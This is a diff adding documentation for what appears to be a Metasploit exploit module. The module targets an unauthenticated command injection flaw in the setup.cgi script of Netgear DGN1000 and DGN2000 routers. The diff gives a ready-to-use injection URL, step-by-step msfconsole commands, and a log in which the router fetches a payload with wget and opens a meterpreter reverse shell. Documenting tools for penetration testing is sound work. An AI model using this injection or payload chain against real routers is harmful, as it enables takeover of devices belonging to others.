Create netgear_dgn1000_unauth_setup_exec.md

Author: Austin

documentation/modules/exploit/linux/http/netgear_dgn1000_unauth_setup_exec.md

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+The module netgear_dgn1000_setup_unauth_exec module exploits an unauthenticated OS command injection vulnerability in vulnerable Netgear DGN1000 with firmware versions up to `1.1.00.48` in addition to DGN2000v1 models, all firmware versions. The vulnerability occurs in within the `syscmd` fuction of the `setup.cgi` script to execute arbitrary commands. Manual exploitation could be completed through the browser, as for example : `http://<RouterIP>/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo+vulnerable&curpath=/&currentsetting.htm=1`. Such example will return "vulnerable" on the page. Vulnerable models have `wget` installed on `/usr/bin/wget` and can be leveraged to drop a MIPS Big Endian payload.
+
+## Vulnerable Application
+
+Netgear DGN1000 with firmware versions up to `1.1.00.48` and DGN2000v1 models
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do : `use exploit/linux/http/netgear_dgn1000_setup_unauth_exec`
+  3. Do : `set RHOST <RouterIP>`
+  4. Do : `set PAYLOAD <payload>`
+  5. Do : `run`
+  6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
+
+## Scenarious
+
+Sample output of a successfull exploitation should be look like this :
+
+```msf > use exploit/linux/http/netgear_dgn1000_setup_unauth_exec
+msf exploit(netgear_dgn1000_setup_unauth_exec) > set RHOST 192.168.0.1
+RHOST => 192.168.0.1
+msf exploit(netgear_dgn1000_setup_unauth_exec) > set RPORT 80
+RPORT => 80
+msf exploit(netgear_dgn1000_setup_unauth_exec) > set LHOST eth0
+LHOST = eth0
+msf exploit(netgear_dgn1000_setup_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
+PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
+msf exploit(netgear_dgn1000_setup_unauth_exec) > run
+
+[*] Started reverse TCP handler on 192.168.0.11:4444
+[*] 192.168.0.1:80 - Connecting to target...
+[*] 192.168.0.1:80 - Exploiting target ....
+[*] Using URL: http://0.0.0.0:8080/DnuJhOHYg7auIz
+[*] Local IP: http://192.168.0.11:8080/DnuJhOHYg7auIz
+[*] Client 192.168.0.1 (Wget) requested /DnuJhOHYg7auIz
+[*] Sending payload to 192.168.0.1 (Wget)
+[*] Sending stage (1073332 bytes) to 192.168.0.1
+[*] Meterpreter session 2 opened (192.168.0.11:4444 -> 192.168.0.1:51558) at 2017-10-20 20:37:06 -0400
+[*] Command Stager progress - 100.00% done (129/129 bytes)
+[*] Server stopped.
+
+meterpreter > sysinfo
+Computer     : 192.168.0.1
+OS           :  (Linux 2.6.20-Amazon_SE)
+Architecture : mips
+Meterpreter  : mipsbe/linux
+meterpreter >